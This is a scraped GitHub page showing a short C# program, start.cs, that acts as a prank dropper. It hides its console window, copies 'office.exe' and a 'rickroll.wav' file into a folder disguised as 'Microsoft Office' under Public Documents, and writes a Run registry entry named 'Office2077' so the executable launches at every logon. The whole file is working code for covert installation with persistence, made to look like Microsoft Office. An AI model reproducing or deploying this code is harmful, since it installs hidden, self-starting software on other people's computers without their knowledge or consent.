-
Notifications
You must be signed in to change notification settings - Fork 0
/
start.cs
46 lines (46 loc) · 1.49 KB
/
start.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
using System;
using System.Diagnostics;
using System.Runtime;
using System.IO;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using System.Threading;
namespace Startprogram
{
class Pogram
{
[DllImport("Kernel32.dll")]
private static extern IntPtr GetConsoleWindow();
[DllImport("User32.dll")]
private static extern bool ShowWindow(IntPtr hWnd, int cmdShow);
static void Main(string[] args)
{
IntPtr hWnd = GetConsoleWindow();
if(hWnd != IntPtr.Zero)
{
ShowWindow(hWnd, 0);
}
if (Directory.Exists(@"C:\Users\Public\Documents\Microsoft Office") == true)
{
string path = @"office.exe";
string path1 = @"C:\Users\Public\Documents\Microsoft Office\office.exe";
string path2 = @"rickroll.wav";
string path3 = @"C:\Users\Public\Documents\Microsoft Office\rickroll.wav";
File.Copy(path, path1);
File.Copy(path2, path3);
}
else
{
Directory.CreateDirectory(@"C:\Users\Public\Documents\Microsoft Office");
string path = @"office.exe";
string path1 = @"C:\Users\Public\Documents\Microsoft Office\office.exe";
string path2 = @"rickroll.wav";
string path3 = @"C:\Users\Public\Documents\Microsoft Office\rickroll.wav";
File.Copy(path, path1);
File.Copy(path2, path3);
}
RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
key.SetValue("Office2077", @"C:\Users\Public\Documents\Microsoft Office\office.exe");
}
}
}